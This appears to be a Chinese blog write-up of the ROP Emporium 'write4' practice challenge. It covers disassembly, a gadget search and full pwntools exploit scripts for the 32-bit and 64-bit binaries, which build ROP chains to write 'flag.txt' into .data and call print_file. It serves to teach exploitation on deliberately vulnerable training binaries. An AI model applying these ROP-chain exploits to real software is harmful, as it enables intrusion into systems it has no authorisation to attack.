ROP_Emporium_write4

12 篇文章 0 订阅

1. write432

信息收集

题目给了3个文件:write432, libwrite432.so, flag.txt。

$ file write432
write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7142f5deace762a46e5cc43b6ca7e8818c9abe69, not stripped
$ ldd write432
        linux-gate.so.1 (0xf7f24000)
        libwrite432.so => ./libwrite432.so (0xf7f1c000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d29000)
        /lib/ld-linux.so.2 (0xf7f25000)
$ checksec libwrite432.so
[*] '/home/starr/Documents/CProject/pwn/libwrite432.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

黑盒测试

$ ./write432 < cyclic.txt
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
Segmentation fault (core dumped)
$ gdb -q ./write432 ./write432.core.10133
Core was generated by `./write432'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x6161616c in ?? ()
> cyclic -l 0x6161616c
44

溢出点位于偏移44字节处。

反汇编

$ objdump -d -M intel write432
080483b0 <pwnme@plt>:
080483d0 <print_file@plt>:
08048506 <main>:
 8048506:       8d 4c 24 04             lea    ecx,[esp+0x4]
 804850a:       83 e4 f0                and    esp,0xfffffff0
 804850d:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048510:       55                      push   ebp
 8048511:       89 e5                   mov    ebp,esp
 8048513:       51                      push   ecx
 8048514:       83 ec 04                sub    esp,0x4
 8048517:       e8 94 fe ff ff          call   80483b0 <pwnme@plt>
 804851c:       b8 00 00 00 00          mov    eax,0x0
 8048521:       83 c4 04                add    esp,0x4
 8048524:       59                      pop    ecx
 8048525:       5d                      pop    ebp
 8048526:       8d 61 fc                lea    esp,[ecx-0x4]
 8048529:       c3                      ret
 
0804852a <usefulFunction>:
 804852a:       55                      push   ebp
 804852b:       89 e5                   mov    ebp,esp
 804852d:       83 ec 08                sub    esp,0x8
 8048530:       83 ec 0c                sub    esp,0xc
 8048533:       68 d0 85 04 08          push   0x80485d0	# nonexistent
 8048538:       e8 93 fe ff ff          call   80483d0 <print_file@plt>
 804853d:       83 c4 10                add    esp,0x10
 8048540:       90                      nop
 8048541:       c9                      leave
 8048542:       c3                      ret

08048543 <usefulGadgets>:
 8048543:       89 2f                   mov    DWORD PTR [edi],ebp
 8048545:       c3                      ret

主函数调用了so中的pwnme,另一个函数usefulFunction则是调用了so的print_file,显然要用来输出flag。

反汇编一下so:

$ objdump -d -M intel libwrite432.so

0000069d <pwnme>:
 69d:   55                      push   ebp
 69e:   89 e5                   mov    ebp,esp
 6a0:   53                      push   ebx
 6a1:   83 ec 24                sub    esp,0x24
 6a4:   e8 f7 fe ff ff          call   5a0 <__x86.get_pc_thunk.bx>
 6a9:   81 c3 57 19 00 00       add    ebx,0x1957
 6af:   8b 83 f8 ff ff ff       mov    eax,DWORD PTR [ebx-0x8]
 6b5:   8b 00                   mov    eax,DWORD PTR [eax]
 ...
 6e7:   83 c4 10                add    esp,0x10
 6ea:   83 ec 04                sub    esp,0x4
 6ed:   6a 20                   push   0x20
 6ef:   6a 00                   push   0x0
 6f1:   8d 45 d8                lea    eax,[ebp-0x28]
 6f4:   50                      push   eax
 6f5:   e8 86 fe ff ff          call   580 <memset@plt>
 6fa:   83 c4 10                add    esp,0x10
 6fd:   83 ec 0c                sub    esp,0xc
 ...
 724:   68 00 02 00 00          push   0x200
 729:   8d 45 d8                lea    eax,[ebp-0x28]
 72c:   50                      push   eax
 72d:   6a 00                   push   0x0
 72f:   e8 cc fd ff ff          call   500 <read@plt>
 734:   83 c4 10                add    esp,0x10
 737:   83 ec 0c                sub    esp,0xc
 ...
 74d:   c9                      leave
 74e:   c3                      ret
 
0000074f <print_file>:
 74f:   55                      push   ebp
 750:   89 e5                   mov    ebp,esp
 752:   53                      push   ebx
 753:   83 ec 34                sub    esp,0x34
 756:   e8 45 fe ff ff          call   5a0 <__x86.get_pc_thunk.bx>
 75b:   81 c3 a5 18 00 00       add    ebx,0x18a5
 761:   c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 768:   83 ec 08                sub    esp,0x8
 76b:   8d 83 4b e8 ff ff       lea    eax,[ebx-0x17b5]
 771:   50                      push   eax
 772:   ff 75 08                push   DWORD PTR [ebp+0x8]
 775:   e8 f6 fd ff ff          call   570 <fopen@plt>			fopen(arg0)
 77a:   83 c4 10                add    esp,0x10
 77d:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 780:   83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 784:   75 1f                   jne    7a5 <print_file+0x56>
 ...
 7a5:   83 ec 04                sub    esp,0x4
 7a8:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 7ab:   6a 21                   push   0x21
 7ad:   8d 45 d3                lea    eax,[ebp-0x2d]
 7b0:   50                      push   eax
 7b1:   e8 6a fd ff ff          call   520 <fgets@plt>
 7b6:   83 c4 10                add    esp,0x10
 7b9:   83 ec 0c                sub    esp,0xc
 ...
 7c5:   83 c4 10                add    esp,0x10
 7c8:   83 ec 0c                sub    esp,0xc
 7cb:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 7ce:   e8 5d fd ff ff          call   530 <fclose@plt>
 7d3:   83 c4 10                add    esp,0x10
 7d6:   c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 7dd:   90                      nop
 7de:   8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
 7e1:   c9                      leave
 7e2:   c3                      ret

思路

Payload构造:pwnme返回地址覆盖为print_file,紧跟"flag.txt"字符串的地址。

首先考虑字符串存在哪里。payload输入后,肯定是在栈里,但获取栈地址又是另一个问题。

一般是存在可读写的section里,比如.data:

$ readelf -S write432
 ...
 [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
 ...

那么,就需要一段gadget来把栈里的8字节字符串“flag.txt” 分两次存进.data中。那么这段gadget需要两个数据:

  1. 字符串
  2. 目标地址

可以先搜一下pop,用来取出“flag”和“.txt”:

pwndbg> rop --grep "pop"
...
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ab : pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048527 : popal ; cld ; ret

注意到0x080485a8这里的指令,pop了4次,但寄存器比较多,需要搜索更多gadget来配合。0x080485aa这里pop了两次,可以从payload先后取出.data目标地址和字符串,重复执行两次。

移入.data需要类似mov [edi], ebp, 或者mov [ebp], edi这种指令。

pwndbg> rop --grep "mov [edi]"
0x08048422 : hlt ; mov ebx, dword ptr [esp] ; ret
0x0804837e : in al, dx ; or al, ch ; mov ebx, 0x81000000 ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret

GET! 0x08048543就是我们需要的gadget。当然这其实是出题人设置的。


构造payload:

padding
pGadget1      pop edi ; pop ebp ; ret
pData		  pop to edi
"flag"		  pop to ebp
pGadget2	  mov dword ptr [edi], ebp

pGadget1	  重复两次
pData+4
".txt"
pGadget2

pPrintFile
padding		 当然最好是一个正常的返回地址
pData

Exp

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./write432")

nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0;
pGadgetPopEdiEbp = 0x080485aa     # pop edi ; pop ebp ; ret
pGadgetMoveEbpToEdi = 0x08048543     # mov dword ptr [edi], ebp
pData = 0x0804a018

payload = bytes("A" * nBufOverflowIndex, encoding="ascii")

payload += p32(pGadgetPopEdiEbp)      
payload += p32(pData)		  # pop to edi
payload += bytes("flag", encoding="ascii")		  # pop to ebp
payload += p32(pGadgetMoveEbpToEdi)       

payload += p32(pGadgetPopEdiEbp)     # 重复2次 
payload += p32(pData+4)		  # pop to edi
payload += bytes(".txt", encoding="ascii")		  # pop to ebp
payload += p32(pGadgetMoveEbpToEdi)     

payload += p32(pPltPrintFile)
payload += bytes("B" * 4, encoding="ascii")
payload += p32(pData)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

2. write4

64位版本。

反汇编

$ objdump -d -M intel write4
0000000000400510 <print_file@plt>:
  ...
0000000000400617 <usefulFunction>:
  400617:       55                      push   rbp
  400618:       48 89 e5                mov    rbp,rsp
  40061b:       bf b4 06 40 00          mov    edi,0x4006b4
  400620:       e8 eb fe ff ff          call   400510 <print_file@plt>

0000000000400628 <usefulGadgets>:
  400628:       4d 89 3e                mov    QWORD PTR [r14],r15
  40062b:       c3                      ret
  40062c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
  ...
$ objdump -d -M intel libwrite4.so

00000000000008aa <pwnme>:
 ...
 8eb:   48 8d 45 e0             lea    rax,[rbp-0x20]
 8ef:   ba 20 00 00 00          mov    edx,0x20
 8f4:   be 00 00 00 00          mov    esi,0x0
 8f9:   48 89 c7                mov    rdi,rax
 8fc:   e8 5f fe ff ff          call   760 <memset@plt>
 ...
 91e:   48 8d 45 e0             lea    rax,[rbp-0x20]
 922:   ba 00 02 00 00          mov    edx,0x200
 927:   48 89 c6                mov    rsi,rax
 92a:   bf 00 00 00 00          mov    edi,0x0
 92f:   e8 3c fe ff ff          call   770 <read@plt>
 ...
0000000000000943 <print_file>:
 943:   55                      push   rbp
 944:   48 89 e5                mov    rbp,rsp
 947:   48 83 ec 40             sub    rsp,0x40
 94b:   48 89 7d c8             mov    QWORD PTR [rbp-0x38],rdi
 94f:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0
 956:   00
 957:   48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38]
 95b:   48 8d 35 d5 00 00 00    lea    rsi,[rip+0xd5]        # a37 <_fini+0x67>
 962:   48 89 c7                mov    rdi,rax
 965:   e8 36 fe ff ff          call   7a0 <fopen@plt>
 ...

关注的信息:

  • 溢出点偏移 – (rbp+8) - (rbp-0x20)==0x28
  • print_file@plt的地址 – 0x400510;
  • 传参方式,这里应该以usefulGadgets为准,用edi传递flag.txt字符串地址, 所以还要搜索一个pop rdi的gadget。其实如果没有usefulGadgets提示,按照调用约定也应该是rdi,当然最靠谱的还是以print_file汇编为准。

Payload

搜索一下gadget:

pwndbg> rop --grep "pop"
...
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pwndbg> rop --grep "mov"
...
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400677 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x0000000000400676 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400628 : mov qword ptr [r14], r15 ; ret

0x0000000000400690的两次pop,以及0x0000000000400628的mov可以搭配使用。

0x0000000000400693处的pop rdi用来把栈中的"flag.txt"字符串地址传给rdi。

.data地址:

$ readelf -S write4
[23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8

64位可以依次操作8个字节,所以可以一次写入“flag.txt”字符串了。

构造payload:

padding		  长0x28
pGadget1      pop r14 ; pop r15 ; ret
pData		  pop to r14
"flag.txt"	  pop to r15
pGadget2	  mov qword ptr [r14], r15 ; ret

pGadget3	  pop rdi ; ret
pData
pPrintFile

Exp

from pwn import *

context.arch = "amd64"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./write4")

nBufOverflowOffset = 0x28
pPltPrintFile = 0x400510
pGadgetPopR14R15 = 0x0000000000400690     # pop r14 ; pop r15 ; ret
pGadgetMoveR15ToR14 = 0x0000000000400628     # mov qword ptr [r14], r15 ; ret
pGadgetPopRdi = 0x0000000000400693      # pop rdi ; ret
pData = 0x0000000000601028

payload = bytes("A" * nBufOverflowOffset, encoding="ascii")

payload += p64(pGadgetPopR14R15)
payload += p64(pData)       # pop to r14
payload += bytes("flag.txt", encoding="ascii")      # pop to r15
payload += p64(pGadgetMoveR15ToR14)

payload += p64(pGadgetPopRdi)   # rdi = "flag.txt"
payload += p64(pData)
payload += p64(pPltPrintFile)   # PrintFile(rdi)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

3. 参考文章

ROPEmporium: write4 32-bit | (cavetownie.github.io)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值